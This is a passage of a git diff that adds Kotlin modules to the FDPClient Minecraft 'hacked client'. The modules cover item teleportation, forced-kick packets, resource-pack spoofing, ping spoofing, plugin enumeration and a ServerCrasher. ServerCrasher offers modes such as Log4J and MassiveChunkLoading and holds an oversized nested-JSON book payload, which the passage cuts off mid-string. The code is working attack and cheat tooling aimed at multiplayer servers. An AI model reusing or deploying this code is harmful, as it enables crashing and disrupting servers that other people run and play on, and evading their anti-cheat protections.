private var delay = 0 + private var endPos: BlockPos? = null + private var objectPosition: MovingObjectPosition? = null + + override fun onDisable() { + delay = 0 + endPos = null + super.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent?) { + if (mc.currentScreen == null && Mouse.isButtonDown( + listOf(*buttonValue.values).indexOf(buttonValue.get()) + ) && delay <= 0 + ) { + endPos = objectPosition!!.blockPos + + if (Objects.requireNonNull(getBlock(endPos))!!.material === Material.air) { + endPos = null + return + } + + alert("§7[§b§lItemMagnet§7] §3Position was set to §8" + endPos!!.x + "§3, §8" + endPos!!.y + "§3, §8" + endPos!!.z) + delay = 6 + } + + if (delay > 0) --delay + + if (endPos != null && mc.thePlayer.isSneaking) { + if (!mc.thePlayer.onGround) { + val endX = endPos!!.x.toDouble() + 0.5 + val endY = endPos!!.y.toDouble() + 1.0 + val endZ = endPos!!.z.toDouble() + 0.5 + + when (modeValue.get().lowercase(Locale.getDefault())) { + "old" -> for (vector3f in vanillaTeleportPositions( + endX, + endY, + endZ, + 4.0 + )) mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + vector3f.getX().toDouble(), + vector3f.getY().toDouble(), + vector3f.getZ().toDouble(), + false + ) + ) + + "new" -> for (vector3f in vanillaTeleportPositions(endX, endY, endZ, 5.0)) { + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + vector3f.x.toDouble(), + vector3f.y.toDouble(), + vector3f.z.toDouble(), + true + ) + ) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + mc.thePlayer.posX, + mc.thePlayer.posY + 4.0, + mc.thePlayer.posZ, + true + ) + ) + mc.netHandler.addToSendQueue( + C04PacketPlayerPosition( + vector3f.x.toDouble(), + vector3f.y.toDouble(), + vector3f.z.toDouble(), + true + ) + ) + forward(0.04) + } + } + if (resetAfterTpValue.get()) endPos = null + + alert("7[§b§lItemMagnet§7 §3Tried to collect items") + } else mc.thePlayer.jump() + } + } + + @EventTarget + fun onRender3D(event: Render3DEvent) { + objectPosition = mc.thePlayer.rayTrace(1000.0, event.partialTicks) + + if (objectPosition!!.blockPos == null) return + + val x = objectPosition!!.blockPos.x + val y = objectPosition!!.blockPos.y + val z = objectPosition!!.blockPos.z + + if (Objects.requireNonNull<Block?>(getBlock(objectPosition!!.blockPos)).material !== Material.air) { + val renderManager = mc.renderManager + + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + GL11.glEnable(GL11.GL_BLEND) + GL11.glLineWidth(2f) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glDisable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(false) + RenderUtils.glColor( + if (Objects.requireNonNull( + getBlock( + objectPosition!!.blockPos.up() + ) + )!!.material !== Material.air + ) Color(255, 0, 0, 90) else Color(0, 255, 0, 90) + ) + RenderUtils.drawFilledBox( + AxisAlignedBB( + x - renderManager.renderPosX, + (y + 1) - renderManager.renderPosY, + z - renderManager.renderPosZ, + x - renderManager.renderPosX + 1.0, + y + 1.2 - renderManager.renderPosY, + z - renderManager.renderPosZ + 1.0 + ) + ) + GL11.glEnable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_DEPTH_TEST) + GL11.glDepthMask(true) + GL11.glDisable(GL11.GL_BLEND) + + RenderUtils.renderNameTag( + Math.round(mc.thePlayer.getDistance(x.toDouble(), y.toDouble(), z.toDouble())).toString() + "m", + x + 0.5, + y + 1.7, + z + 0.5 + ) + GlStateManager.resetColor() + } + } + + private fun vanillaTeleportPositions(tpX: Double, tpY: Double, tpZ: Double, speed: Double): List<Vector3f> { + val positions: MutableList<Vector3f> = ArrayList() + val posX = tpX - mc.thePlayer.posX + val posZ = tpZ - mc.thePlayer.posZ + val yaw = ((atan2(posZ, posX) * 180 / Math.PI) - 90f).toFloat() + var tmpX: Double + var tmpY = mc.thePlayer.posY + var tmpZ: Double + var steps = 1.0 + + run { + var d = speed + while (d < getDistance(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, tpX, tpY, tpZ)) { + steps++ + d += speed + } + } + + var d = speed + while (d < getDistance(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, tpX, tpY, tpZ)) { + tmpX = mc.thePlayer.posX - (sin(Math.toRadians(yaw.toDouble())) * d) + tmpZ = mc.thePlayer.posZ + cos(Math.toRadians(yaw.toDouble())) * d + tmpY -= (mc.thePlayer.posY - tpY) / steps + positions.add(Vector3f(tmpX.toFloat(), tmpY.toFloat(), tmpZ.toFloat())) + d += speed + } + + positions.add(Vector3f(tpX.toFloat(), tpY.toFloat(), tpZ.toFloat())) + + return positions + } + + private fun getDistance(x1: Double, y1: Double, z1: Double, x2: Double, y2: Double, z2: Double): Double { + val d0 = x1 - x2 + val d1 = y1 - y2 + val d2 = z1 - z2 + return MathHelper.sqrt_double(d0 * d0 + d1 * d1 + d2 * d2).toDouble() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Kick.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Kick.kt new file mode 100644 index 0000000..237e1c9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Kick.kt @@ -0,0 +1,45 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C02PacketUseEntity +import net.minecraft.network.play.client.C03PacketPlayer.C04PacketPlayerPosition +import net.minecraft.network.play.server.S40PacketDisconnect +import net.minecraft.util.ChatComponentText +import java.util.* + +@ModuleInfo(name = "Kick", category = ModuleCategory.EXPLOIT, canEnable = false) +object Kick : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Quit", "ClientSideQuit", "InvalidPacket", "SelfHurt", "IllegalChat", "PacketSpam"), "Quit") + + override fun onEnable() { + if (mc.isIntegratedServerRunning) { + ClientUtils.displayChatMessage("§c§lError: §aYou can't enable §c§l'Kick' §ain SinglePlayer.") + return + } + + when (modeValue.get().lowercase()) { + "quit" -> mc.theWorld.sendQuittingDisconnectingPacket() + "clientsidequit" -> PacketUtils.handlePacket(S40PacketDisconnect(ChatComponentText("Disconnected"))) + "invalidpacket" -> mc.netHandler.addToSendQueue(C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.POSITIVE_INFINITY, !mc.thePlayer.onGround)) + "selfhurt" -> mc.netHandler.addToSendQueue(C02PacketUseEntity(mc.thePlayer, C02PacketUseEntity.Action.ATTACK)) + "illegalchat" -> mc.thePlayer.sendChatMessage(Random().nextInt().toString() + "§§§" + Random().nextInt()) + "packetspam" -> { + val random = Random() + repeat(9999) { + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(it.toDouble(), it.toDouble(), it.toDouble(), random.nextBoolean())) + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/MultiActions.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/MultiActions.kt new file mode 100644 index 0000000..ddd7f53 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/MultiActions.kt @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "MultiActions", category = ModuleCategory.EXPLOIT) +object MultiActions : Module() \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PackSpoofer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PackSpoofer.kt new file mode 100644 index 0000000..07285a6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PackSpoofer.kt @@ -0,0 +1,71 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C19PacketResourcePackStatus +import net.minecraft.network.play.server.S48PacketResourcePackSend +import java.io.File +import java.net.URI +import java.net.URISyntaxException + +@ModuleInfo(name = "PackSpoofer", category = ModuleCategory.EXPLOIT) +object PackSpoofer : Module() { + + val notifyValue = BoolValue("Notify", true) + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is S48PacketResourcePackSend) { + val url = packet.url + val hash = packet.hash + try { + val scheme = URI(url).scheme + val isLevelProtocol = "level" == scheme + + if ("http" != scheme && "https" != scheme && !isLevelProtocol) + throw URISyntaxException(url, "Wrong protocol") + + if (isLevelProtocol && (url.contains("..") || !url.endsWith(".zip"))) { + val s2 = url.substring("level://".length) + val file1 = File(mc.mcDataDir, "saves") + val file2 = File(file1, s2) + + if (!file2.isFile || url.contains("fdpclient", true)) { + if (notifyValue.get()) { + ClientUtils.displayChatMessage("§7[§b!§7] §b§lFDPCLIENT §c» §6Resourcepack exploit detected.") + ClientUtils.displayChatMessage("§7[§b!§7] §b§lFDPCLIENT §c» §7Exploit target directory: §r$url") + + throw URISyntaxException(url, "Invalid levelstorage resourcepack path") + } else { + mc.netHandler.addToSendQueue(C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD)) + event.cancelEvent() + return + } + } + } + mc.netHandler.addToSendQueue(C19PacketResourcePackStatus(packet.hash, + C19PacketResourcePackStatus.Action.ACCEPTED)) + mc.netHandler.addToSendQueue(C19PacketResourcePackStatus(packet.hash, + C19PacketResourcePackStatus.Action.SUCCESSFULLY_LOADED)) + } catch (e: URISyntaxException) { + alert("Failed to handle resource pack") + mc.netHandler.addToSendQueue(C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD)) + } + + event.cancelEvent() + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Phase.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Phase.kt new file mode 100644 index 0000000..668aba7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Phase.kt @@ -0,0 +1,104 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.exploit.phases.PhaseMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue + +@ModuleInfo(name = "Phase", category = ModuleCategory.EXPLOIT) +object Phase : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.phases", PhaseMode::class.java) + .map { it.newInstance() as PhaseMode } + .sortedBy { it.modeName } + + private val mode: PhaseMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Vanilla") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + private val debugValue = BoolValue("Debug", false) + + override fun onEnable() { + mode.onEnable() + } + + override fun onDisable() { + mc.timer.timerSpeed = 1F + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mode.onUpdate(event) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + mode.onMotion(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + mode.onStep(event) + } + + @EventTarget + fun onWorld(event: WorldEvent) { + mode.onWorld(event) + } + + @EventTarget + fun onPushOut(event: PushOutEvent) { + event.cancelEvent() + } + + override val tag: String + get() = modeValue.get() + + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt new file mode 100644 index 0000000..a7ec0da --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/PingSpoof.kt @@ -0,0 +1,77 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.timer.TimeUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.* +import java.util.* +import kotlin.concurrent.schedule + +@ModuleInfo(name = "PingSpoof", category = ModuleCategory.EXPLOIT) +object PingSpoof : Module() { + + private val maxDelayValue: IntegerValue = object : IntegerValue("MaxDelay", 1000, 0, 5000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val minDelayValue = minDelayValue.get() + if (minDelayValue > newValue) set(minDelayValue) + } + } + private val minDelayValue: IntegerValue = object : IntegerValue("MinDelay", 500, 0, 5000) { + override fun onChanged(oldValue: Int, newValue: Int) { + val maxDelayValue = maxDelayValue.get() + if (maxDelayValue < newValue) set(maxDelayValue) + } + } + private val c00Value = BoolValue("C00", true) + private val c0FValue = BoolValue("C0F", false) + private val c0BValue = BoolValue("C0B", false) + private val c13Value = BoolValue("C13", false) + private val c16Value = BoolValue("C16", true) + private val packetLossValue = FloatValue("PacketLoss", 0f, 0f, 1f) + + private val packetBuffer = LinkedList<Packet<INetHandlerPlayServer>>() + + override fun onDisable() { + packetBuffer.forEach { + PacketUtils.sendPacketNoEvent(it) + } + packetBuffer.clear() + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (((packet is C00PacketKeepAlive && c00Value.get()) || (packet is C0FPacketConfirmTransaction && c0FValue.get()) || + (packet is C0BPacketEntityAction && c0BValue.get()) || (packet is C13PacketPlayerAbilities && c13Value.get()) || + (packet is C16PacketClientStatus && c16Value.get()))) { + event.cancelEvent() + if (packetLossValue.get() == 0f || Math.random() > packetLossValue.get()) { + packetBuffer.add(packet as Packet<INetHandlerPlayServer>) + queuePacket(TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get())) + } + } + } + + // maybe coroutine better? + private /*suspend*/ fun queuePacket(delayTime: Long) { + Timer().schedule(delayTime) { + if (this@PingSpoof.state) { + PacketUtils.sendPacketNoEvent(packetBuffer.poll()) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Plugins.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Plugins.kt new file mode 100644 index 0000000..83d4260 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/Plugins.kt @@ -0,0 +1,67 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import joptsimple.internal.Strings +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.minecraft.network.play.client.C14PacketTabComplete +import net.minecraft.network.play.server.S3APacketTabComplete + +@ModuleInfo(name = "Plugins", category = ModuleCategory.EXPLOIT) +object Plugins : Module() { + + private val tickTimer = TickTimer() + + override fun onEnable() { + if (mc.thePlayer == null) return + mc.netHandler.addToSendQueue(C14PacketTabComplete("/")) + tickTimer.reset() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + tickTimer.update() + if (tickTimer.hasTimePassed(20)) { + ClientUtils.displayChatMessage("§cPlugins check timed out...") + tickTimer.reset() + state = false + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is S3APacketTabComplete) { + val plugins: MutableList<String> = ArrayList() + val commands = event.packet.func_149630_c() + + for (command1 in commands) { + val command = command1.split(":").toTypedArray() + if (command.size > 1) { + val pluginName = command[0].replace("/", "") + if (!plugins.contains(pluginName)) plugins.add(pluginName) + } + } + + plugins.sort() + + if (plugins.isNotEmpty()) { + ClientUtils.displayChatMessage("§aPlugins §7(§8" + plugins.size + "§7): §c" + Strings.join(plugins.toTypedArray(), "§7, §c")) + } else { + ClientUtils.displayChatMessage("§cNo plugins found.") + } + + state = false + tickTimer.reset() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt new file mode 100644 index 0000000..15d0d9e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt @@ -0,0 +1,423 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.exploit + +import io.netty.buffer.Unpooled +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.init.Items +import net.minecraft.item.ItemStack +import net.minecraft.nbt.NBTBase +import net.minecraft.nbt.NBTTagCompound +import net.minecraft.nbt.NBTTagList +import net.minecraft.nbt.NBTTagString +import net.minecraft.network.PacketBuffer +import net.minecraft.network.play.client.* +import net.minecraft.network.play.server.S2DPacketOpenWindow +import net.minecraft.network.play.server.S2EPacketCloseWindow +import net.minecraft.network.play.server.S2FPacketSetSlot +import net.minecraft.util.BlockPos +import java.util.* + +@ModuleInfo(name = "ServerCrasher", category = ModuleCategory.EXPLOIT) +object ServerCrasher : Module() { + + private val modeValue = ListValue("Mode", arrayOf( + "Book", + "Swing", + "MassiveChunkLoading", + "WorldEdit", "MultiverseCore",// "BukkitBD", + "Pex", + "CubeCraft", + "AACNew", "AACOther", "AACOld", + "MemetrixOld", "OldLoyisaNCP", + "ItemSwitch", "ItemDrop", + "MathOverFlow", + "C08", "NullC08", + "CommandComplete", + "AACv5", + "Log4J", + "Inventory", + "Rotation", + ), "Book") + private val packetAmountValue = IntegerValue("PacketAmount", 500, 1, 3000) + private val bookTypeValue = ListValue("BookType", arrayOf("Plain", "Json", "Netty", "Random"), "Plain").displayable { modeValue.equals("Book") } as ListValue + private val bookModeValue = ListValue("BookMode", arrayOf("Payload", "ItemUse", "BlockClick", "CreativeWindowClick", "Lpx", "WindowClick", "WindowPickUp"), "Payload").displayable { modeValue.equals("Book") } + private val bookOnlyOnceValue = BoolValue("BookOnlyOnce", false).displayable { modeValue.equals("Book") } + private val log4jModeValue = ListValue("Log4JMode", arrayOf("RawChat", "Chat", "Command"), "Chat").displayable { modeValue.equals("Log4J") } + private val slientInventoryValue = BoolValue("SlientInventory", false).displayable { modeValue.equals("Inventory") } + private val pexTimer = MSTimer() + private var nowInv = -1 + private val invSlots = mutableMapOf<Int, ItemStack>() + + private val BOOK_SIZE = "................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................." + private val BOOK_JSON = "{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{ex